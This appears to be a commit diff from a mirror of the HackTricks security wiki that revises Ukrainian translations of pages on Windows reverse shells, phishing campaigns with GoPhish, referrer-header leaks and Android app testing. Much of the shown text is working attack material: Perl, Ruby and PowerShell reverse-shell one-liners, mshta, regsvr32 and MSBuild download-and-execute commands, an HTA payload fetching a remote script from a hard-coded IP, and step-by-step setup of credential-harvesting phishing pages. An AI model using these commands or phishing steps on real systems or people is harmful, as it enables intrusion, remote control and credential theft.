mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi
This commit is contained in:
parent
c3311d7cb7
commit
21c12fd4b7
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
|
||||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) є портативною та безпечною альтернативою Netcat**. Він працює на системах, подібних до Unix, та Win32. З такими функціями, як сильне шифрування, виконання програм, налаштовувані вихідні порти та безперервне перепідключення, sbd забезпечує універсальне рішення для TCP/IP зв'язку. Для користувачів Windows версія sbd.exe з дистрибутиву Kali Linux може бути використана як надійна заміна Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) є портативною та безпечною альтернативою Netcat**. Він працює на системах, подібних до Unix, та Win32. Завдяки таким функціям, як сильне шифрування, виконання програм, налаштовувані вихідні порти та безперервне перепідключення, sbd забезпечує універсальне рішення для TCP/IP зв'язку. Для користувачів Windows версія sbd.exe з дистрибутиву Kali Linux може бути використана як надійна заміна Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
@ -49,7 +49,7 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Рубі
|
||||
## Ruby
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
@ -82,22 +82,18 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Процес, що виконує мережевий виклик: **powershell.exe**\
|
||||
Пейлоад записано на диск: **НІ** (_принаймні, ніде, де я міг би знайти за допомогою procmon!_)
|
||||
Payload записано на диск: **НІ** (_принаймні, ніде, де я міг би знайти за допомогою procmon!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Процес, що виконує мережевий виклик: **svchost.exe**\
|
||||
Пейлоад записано на диск: **WebDAV client local cache**
|
||||
Payload записано на диск: **Локальний кеш клієнта WebDAV**
|
||||
|
||||
**Однорядковий код:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**Отримайте більше інформації про різні оболонки Powershell в кінці цього документа**
|
||||
|
||||
## Mshta
|
||||
|
||||
- [Звідси](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
**Отримайте більше
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
@ -109,7 +105,7 @@ mshta http://webserver/payload.hta
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **Приклад hta-psh зворотного шеллу (використовуйте hta для завантаження та виконання PS бекдору)**
|
||||
#### **Приклад зворотного шелу hta-psh (використовуйте hta для завантаження та виконання PS бекдору)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
@ -224,7 +220,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**Звідси**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
@ -332,7 +328,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Ви можете використовувати цю техніку, щоб обійти обмеження на білий список додатків та Powershell.exe. Ви будете запрошені з PS shell.\
|
||||
Ви можете використовувати цю техніку, щоб обійти Application Whitelisting та обмеження Powershell.exe. Ви будете запрошені з PS shell.\
|
||||
Просто завантажте це та виконайте: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
@ -345,7 +341,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Ви можете завантажити базовий C# reverse shell звідси: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Ви можете завантажити базову C# reverse shell звідси: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**Не виявлено**
|
||||
|
||||
@ -375,7 +371,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
У папці **Shells** є багато різних шелів. Щоб завантажити та виконати Invoke-_PowerShellTcp.ps1_, скопіюйте скрипт і додайте в кінець файлу:
|
||||
У папці **Shells** є багато різних оболонок. Щоб завантажити та виконати Invoke-_PowerShellTcp.ps1_, скопіюйте скрипт і додайте в кінець файлу:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
@ -420,7 +416,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
Створіть запускник powershell, збережіть його у файл і завантажте та виконайте його.
|
||||
Створіть запусковий файл PowerShell, збережіть його у файл і завантажте та виконайте його.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
@ -438,7 +434,7 @@ python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Запустіть веб-сервер, що обслуговує файл _powershell_attack.txt_ та виконайте його на жертві:
|
||||
Запустіть веб-сервер, що обслуговує файл _powershell_attack.txt_, і виконайте його на жертві:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Methodology
|
||||
## Методологія
|
||||
|
||||
1. Розвідка жертви
|
||||
1. Виберіть **домен жертви**.
|
||||
2. Виконайте базову веб-інвентаризацію **в пошуках порталів для входу**, які використовує жертва, і **вирішіть**, який з них ви будете **імітувати**.
|
||||
2. Виконайте базову веб-енумерацію **в пошуках порталів для входу**, які використовує жертва, і **вирішіть**, який з них ви будете **імітувати**.
|
||||
3. Використовуйте деякі **OSINT** для **пошуку електронних адрес**.
|
||||
2. Підготуйте середовище
|
||||
1. **Купіть домен**, який ви будете використовувати для фішингової оцінки
|
||||
2. **Налаштуйте електронну службу** відповідні записи (SPF, DMARC, DKIM, rDNS)
|
||||
3. Налаштуйте VPS з **gophish**
|
||||
1. **Купіть домен**, який ви будете використовувати для фішингової оцінки.
|
||||
2. **Налаштуйте електронну пошту** та пов'язані записи (SPF, DMARC, DKIM, rDNS).
|
||||
3. Налаштуйте VPS з **gophish**.
|
||||
3. Підготуйте кампанію
|
||||
1. Підготуйте **шаблон електронної пошти**
|
||||
2. Підготуйте **веб-сторінку** для крадіжки облікових даних
|
||||
1. Підготуйте **шаблон електронної пошти**.
|
||||
2. Підготуйте **веб-сторінку** для крадіжки облікових даних.
|
||||
4. Запустіть кампанію!
|
||||
|
||||
## Генерація подібних доменних імен або купівля надійного домену
|
||||
@ -22,12 +22,12 @@
|
||||
### Техніки варіації доменних імен
|
||||
|
||||
- **Ключове слово**: Доменне ім'я **містить** важливе **ключове слово** оригінального домену (наприклад, zelster.com-management.com).
|
||||
- **гіпеніруваний піддомен**: Змініть **крапку на дефіс** піддомену (наприклад, www-zelster.com).
|
||||
- **Новий TLD**: Той же домен з використанням **нового TLD** (наприклад, zelster.org)
|
||||
- **Гіпенізований піддомен**: Змініть **крапку на дефіс** у піддомені (наприклад, www-zelster.com).
|
||||
- **Новий TLD**: Той самий домен з використанням **нового TLD** (наприклад, zelster.org).
|
||||
- **Гомогліф**: Він **замінює** літеру в доменному імені на **літери, які виглядають подібно** (наприклад, zelfser.com).
|
||||
- **Транспозиція:** Він **міняє місцями дві літери** в доменному імені (наприклад, zelsetr.com).
|
||||
- **Сингуларизація/Плюралізація**: Додає або видаляє “s” в кінці доменного імені (наприклад, zeltsers.com).
|
||||
- **Виключення**: Він **видаляє одну** з літер з доменного імені (наприклад, zelser.com).
|
||||
- **Пропуск**: Він **видаляє одну** з літер з доменного імені (наприклад, zelser.com).
|
||||
- **Повторення:** Він **повторює одну** з літер у доменному імені (наприклад, zeltsser.com).
|
||||
- **Замінювання**: Як гомогліф, але менш непомітно. Він замінює одну з літер у доменному імені, можливо, на літеру, що знаходиться поруч з оригінальною літерою на клавіатурі (наприклад, zektser.com).
|
||||
- **Піддомен**: Введіть **крапку** всередині доменного імені (наприклад, ze.lster.com).
|
||||
@ -45,15 +45,15 @@
|
||||
- [https://dnstwister.report/](https://dnstwister.report)
|
||||
- [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
|
||||
|
||||
### Bitflipping
|
||||
### Бітфліпінг
|
||||
|
||||
Існує **можливість, що один з деяких бітів, збережених або в комунікації, може автоматично змінитися** через різні фактори, такі як сонячні спалахи, космічні промені або апаратні помилки.
|
||||
Існує **можливість, що один з бітів, що зберігаються або передаються, може автоматично змінитися** через різні фактори, такі як сонячні спалахи, космічні промені або апаратні помилки.
|
||||
|
||||
Коли цей концепт **застосовується до DNS-запитів**, можливо, що **домен, отриманий DNS-сервером**, не є тим самим доменом, який спочатку запитувався.
|
||||
|
||||
Наприклад, одна зміна біта в домені "windows.com" може змінити його на "windnws.com."
|
||||
|
||||
Зловмисники можуть **використовувати це, реєструючи кілька доменів з битфліпом**, які схожі на домен жертви. Їх намір - перенаправити легітимних користувачів на свою інфраструктуру.
|
||||
Зловмисники можуть **використовувати це, реєструючи кілька доменів з бітфліпінгом**, які схожі на домен жертви. Їхнє намір — перенаправити легітимних користувачів на свою інфраструктуру.
|
||||
|
||||
Для отримання додаткової інформації читайте [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
@ -73,8 +73,8 @@
|
||||
- [https://hunter.io/](https://hunter.io)
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
Щоб **виявити більше** дійсних електронних адрес або **перевірити ті, які** ви вже виявили, ви можете перевірити, чи можете ви брутфорсити їх smtp-сервери жертви. [Дізнайтеся, як перевірити/виявити електронну адресу тут](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Крім того, не забувайте, що якщо користувачі використовують **будь-який веб-портал для доступу до своїх електронних листів**, ви можете перевірити, чи він вразливий до **брутфорсу імен користувачів**, і експлуатувати вразливість, якщо це можливо.
|
||||
Щоб **виявити більше** дійсних електронних адрес або **перевірити ті, які** ви вже виявили, ви можете перевірити, чи можете ви брутфорсити їх SMTP-сервери жертви. [Дізнайтеся, як перевірити/виявити електронну адресу тут](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Крім того, не забувайте, що якщо користувачі використовують **будь-який веб-портал для доступу до своїх електронних листів**, ви можете перевірити, чи він вразливий до **брутфорсу імені користувача**, і експлуатувати вразливість, якщо це можливо.
|
||||
|
||||
## Налаштування GoPhish
|
||||
|
||||
@ -83,7 +83,7 @@
|
||||
Ви можете завантажити його з [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
|
||||
Завантажте та розпакуйте його в `/opt/gophish` і виконайте `/opt/gophish/gophish`\
|
||||
Вам буде надано пароль для адміністратора на порту 3333 виводу. Тому отримайте доступ до цього порту та використовуйте ці облікові дані, щоб змінити пароль адміністратора. Вам може знадобитися тунелювати цей порт на локальний:
|
||||
Вам буде надано пароль для адміністратора на порту 3333 виводу. Тому отримайте доступ до цього порту та використовуйте ці облікові дані, щоб змінити пароль адміністратора. Вам, можливо, потрібно буде тунелювати цей порт на локальний:
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**Налаштування TLS сертифіката**
|
||||
|
||||
Перед цим кроком ви повинні **вже купити домен**, який ви збираєтеся використовувати, і він повинен **вказувати** на **IP VPS**, де ви налаштовуєте **gophish**.
|
||||
Перед цим кроком ви повинні **вже купити домен**, який ви збираєтеся використовувати, і він повинен **вказувати** на **IP вашого VPS**, де ви налаштовуєте **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -122,11 +122,11 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Нарешті, змініть файли **`/etc/hostname`** та **`/etc/mailname`** на ваше ім'я домену та **перезавантажте ваш VPS.**
|
||||
Нарешті, змініть файли **`/etc/hostname`** та **`/etc/mailname`** на ваше доменне ім'я та **перезавантажте ваш VPS.**
|
||||
|
||||
Тепер створіть **DNS A запис** для `mail.<domain>`, що вказує на **ip-адресу** VPS, та **DNS MX** запис, що вказує на `mail.<domain>`
|
||||
|
||||
Тепер давайте протестуємо відправку електронної пошти:
|
||||
Тепер давайте протестуємо відправку електронного листа:
|
||||
```bash
|
||||
apt install mailutils
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||
@ -161,7 +161,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
|
||||
```
|
||||
**Налаштуйте сервіс gophish**
|
||||
|
||||
Щоб створити сервіс gophish, щоб його можна було запускати автоматично та керувати ним як сервісом, ви можете створити файл `/etc/init.d/gophish` з таким вмістом:
|
||||
Щоб створити сервіс gophish, щоб його можна було запускати автоматично та керувати ним як сервісом, ви можете створити файл `/etc/init.d/gophish` з наступним вмістом:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
@ -235,7 +235,7 @@ service gophish stop
|
||||
|
||||
Вам потрібно **налаштувати запис SPF для нового домену**. Якщо ви не знаєте, що таке запис SPF [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
|
||||
Ви можете використовувати [https://www.spfwizard.net/](https://www.spfwizard.net) для генерації вашої SPF політики (використовуйте IP-адресу VPS машини)
|
||||
Ви можете використовувати [https://www.spfwizard.net/](https://www.spfwizard.net) для генерації вашої SPF політики (використовуйте IP-адресу машини VPS)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -305,7 +305,7 @@ dkim=pass header.i=@example.com;
|
||||
- Вирішіть, з якого облікового запису ви будете надсилати фішингові електронні листи. Пропозиції: _noreply, support, servicedesk, salesforce..._
|
||||
- Ви можете залишити порожніми ім'я користувача та пароль, але обов'язково перевірте "Ігнорувати помилки сертифіката"
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Рекомендується використовувати функцію "**Надіслати тестовий електронний лист**", щоб перевірити, чи все працює.\
|
||||
@ -317,7 +317,7 @@ dkim=pass header.i=@example.com;
|
||||
- Потім напишіть **тему** (нічого дивного, просто щось, що ви могли б очікувати прочитати в звичайному електронному листі)
|
||||
- Переконайтеся, що ви відмітили "**Додати трекінгове зображення**"
|
||||
- Напишіть **шаблон електронного листа** (ви можете використовувати змінні, як у наступному прикладі):
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
@ -360,7 +360,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
> Зверніть увагу, що якщо вам потрібно **використовувати деякі статичні ресурси** для HTML (можливо, деякі CSS та JS сторінки), ви можете зберегти їх у _**/opt/gophish/static/endpoint**_ і потім отримати до них доступ з _**/static/\<filename>**_
|
||||
|
||||
> [!NOTE]
|
||||
> Для перенаправлення ви можете **перенаправити користувачів на легітимну основну веб-сторінку** жертви або перенаправити їх на _/static/migration.html_, наприклад, поставити **крутильне колесо (**[**https://loading.io/**](https://loading.io)**) на 5 секунд, а потім вказати, що процес був успішним**.
|
||||
> Для перенаправлення ви можете **перенаправити користувачів на легітимну основну веб-сторінку** жертви або перенаправити їх на _/static/migration.html_, наприклад, поставити **крутячий коло (**[**https://loading.io/**](https://loading.io)**) на 5 секунд, а потім вказати, що процес був успішним**.
|
||||
|
||||
### Користувачі та Групи
|
||||
|
||||
@ -410,11 +410,11 @@ phishing-documents.md
|
||||
1. Ви **підробляєте форму входу** реальної веб-сторінки.
|
||||
2. Користувач **надсилає** свої **облікові дані** на вашу підроблену сторінку, а інструмент надсилає їх на реальну веб-сторінку, **перевіряючи, чи працюють облікові дані**.
|
||||
3. Якщо обліковий запис налаштований на **2FA**, сторінка MitM запитає про це, і як тільки **користувач введе** його, інструмент надішле його на реальну веб-сторінку.
|
||||
4. Як тільки користувач аутентифікований, ви (як атакуючий) будете мати **захоплені облікові дані, 2FA, куки та будь-яку інформацію** про кожну взаємодію, поки інструмент виконує MitM.
|
||||
4. Як тільки користувач аутентифікований, ви (як зловмисник) отримаєте **захоплені облікові дані, 2FA, куки та будь-яку інформацію** про кожну взаємодію, поки інструмент виконує MitM.
|
||||
|
||||
### Через VNC
|
||||
|
||||
Що, якщо замість **відправлення жертви на шкідливу сторінку** з такими ж виглядами, як оригінальна, ви відправите його на **сесію VNC з браузером, підключеним до реальної веб-сторінки**? Ви зможете бачити, що він робить, вкрасти пароль, використане MFA, куки...\
|
||||
Що, якщо замість того, щоб **надсилати жертву на шкідливу сторінку** з таким же виглядом, як оригінальна, ви надішлете його на **сесію VNC з браузером, підключеним до реальної веб-сторінки**? Ви зможете бачити, що він робить, вкрасти пароль, використане MFA, куки...\
|
||||
Ви можете зробити це за допомогою [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Виявлення виявлення
|
||||
@ -428,7 +428,7 @@ phishing-documents.md
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
Ви можете **придбати домен з дуже схожим ім'ям** на домен жертви **і/або згенерувати сертифікат** для **субдомену** домену, контрольованого вами, **який містить** **ключове слово** домену жертви. Якщо **жертва** виконає будь-який вид **DNS або HTTP взаємодії** з ними, ви дізнаєтеся, що **він активно шукає** підозрілі домени, і вам потрібно буде бути дуже обережним.
|
||||
Ви можете **придбати домен з дуже схожою назвою** на домен жертви **і/або згенерувати сертифікат** для **піддомену** домену, контрольованого вами, **який містить** **ключове слово** домену жертви. Якщо **жертва** виконає будь-який вид **DNS або HTTP взаємодії** з ними, ви дізнаєтеся, що **він активно шукає** підозрілі домени, і вам потрібно буде бути дуже обережним.
|
||||
|
||||
### Оцінка фішингу
|
||||
|
||||
|
@ -1,16 +1,16 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Заголовки реферера та політика
|
||||
# Заголовки Referrer та політика
|
||||
|
||||
Реферер - це заголовок, який використовують браузери, щоб вказати, яка була попередня відвідана сторінка.
|
||||
Referrer - це заголовок, який використовують браузери, щоб вказати, яка була попередня відвідана сторінка.
|
||||
|
||||
## Витік чутливої інформації
|
||||
|
||||
Якщо в якийсь момент на веб-сторінці будь-яка чутлива інформація знаходиться в параметрах GET-запиту, якщо сторінка містить посилання на зовнішні джерела або зловмисник може змусити/порадити (соціальна інженерія) користувачу відвідати URL, контрольований зловмисником. Це може дозволити ексфільтрувати чутливу інформацію з останнього GET-запиту.
|
||||
Якщо в якийсь момент на веб-сторінці будь-яка чутлива інформація знаходиться в параметрах GET-запиту, якщо сторінка містить посилання на зовнішні джерела або зловмисник може змусити/порадити (соціальна інженерія) користувачу відвідати URL, контрольований зловмисником. Це може призвести до ексфільтрації чутливої інформації з останнього GET-запиту.
|
||||
|
||||
## Пом'якшення
|
||||
|
||||
Ви можете змусити браузер дотримуватись **Referrer-policy**, яка може **запобігти** відправці чутливої інформації в інші веб-додатки:
|
||||
Ви можете змусити браузер дотримуватись **Referrer-policy**, яка може **запобігти** відправці чутливої інформації на інші веб-додатки:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
@ -24,12 +24,12 @@ Referrer-Policy: unsafe-url
|
||||
## Контрзаходи
|
||||
|
||||
Ви можете переопределити це правило, використовуючи HTML мета-тег (зловмисник повинен експлуатувати та HTML-ін'єкцію):
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## Захист
|
||||
|
||||
Ніколи не розміщуйте чутливі дані в параметрах GET або шляхах в URL.
|
||||
Ніколи не розміщуйте чутливі дані в параметрах GET або шляхах в URL.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -19,7 +19,7 @@ android-applications-basics.md
|
||||
|
||||
## Smali
|
||||
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, модифікувати код і знову скомпілювати його.\
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте цю можливість в умі**.
|
||||
|
||||
## Інші цікаві трюки
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### Викрадення завдань
|
||||
|
||||
**Активність** з **`launchMode`**, встановленим на **`singleTask` без жодного `taskAffinity`**, вразлива до викрадення завдань. Це означає, що **програму** можна встановити, і якщо її запустити перед реальною програмою, вона може **викрасти завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
|
||||
**Активність** з **`launchMode`**, встановленим на **`singleTask` без визначеного `taskAffinity`**, вразлива до викрадення завдань. Це означає, що **програму** можна встановити, і якщо її запустити перед реальною програмою, вона може **викрасти завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
|
||||
|
||||
Більше інформації в:
|
||||
|
||||
@ -139,7 +139,7 @@ android-task-hijacking.md
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Добрий спосіб протестувати це - спробувати захопити трафік, використовуючи проксі, як Burp, без авторизації CA Burp на пристрої. Також ви можете згенерувати з Burp сертифікат для іншого імені хоста та використовувати його.
|
||||
Добрий спосіб протестувати це - спробувати захопити трафік, використовуючи проксі, наприклад, Burp, без авторизації CA Burp на пристрої. Також ви можете згенерувати з Burp сертифікат для іншого імені хоста та використовувати його.
|
||||
|
||||
### Ламана криптографія
|
||||
|
||||
@ -153,8 +153,8 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
### Інші перевірки
|
||||
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженеринг для зловмисників.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій є рутованим**, і діяти відповідно.
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи мобільний пристрій є рутованим**, і діяти відповідно.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK
|
||||
@ -177,11 +177,11 @@ react-native-application.md
|
||||
|
||||
### Суперупаковані додатки
|
||||
|
||||
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) суперупаковані - це мета-алгоритм, який стискає вміст додатка в один файл. Блог говорить про можливість створення додатка, який розпаковує такі додатки... і швидший спосіб, який передбачає **виконання додатка та збір розпакованих файлів з файлової системи.**
|
||||
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), суперупаковані - це мета-алгоритм, який стискає вміст додатка в один файл. Блог говорить про можливість створення додатка, який розпаковує такі додатки... і швидший спосіб, який передбачає **виконання додатка та збір розпакованих файлів з файлової системи.**
|
||||
|
||||
### Автоматизований статичний аналіз коду
|
||||
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** додатка. Цей інструмент містить серію **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем**), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** додатка. Цей інструмент містить серію **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем**), **синків** (які вказують інструменту **небезпечні** **місця**, де зловмисний вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
|
||||
З цими знаннями **mariana-trench перегляне код і знайде можливі вразливості в ньому**.
|
||||
|
||||
@ -230,7 +230,7 @@ content-protocol.md
|
||||
|
||||
#### Використання емулятора
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності в повільному емуляторі arm).
|
||||
